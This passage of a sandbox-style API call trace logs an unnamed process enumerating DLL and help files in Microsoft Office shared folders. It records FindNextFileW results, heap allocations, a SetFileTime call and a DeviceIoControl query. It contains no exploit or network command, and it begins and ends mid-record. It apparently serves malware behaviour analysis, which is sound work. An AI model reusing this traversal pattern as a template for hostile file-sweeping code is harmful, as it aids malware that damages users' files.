returned 1 [0048.543] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0048.543] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.544] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0048.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0048.546] GetLastError () returned 0x12 [0048.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0048.546] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0048.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0048.547] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0048.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0048.547] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0048.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0048.547] NtClose (Handle=0x178) returned 0x0 [0048.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0048.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0048.548] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.548] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.548] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0048.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9b40 [0048.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea838 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, 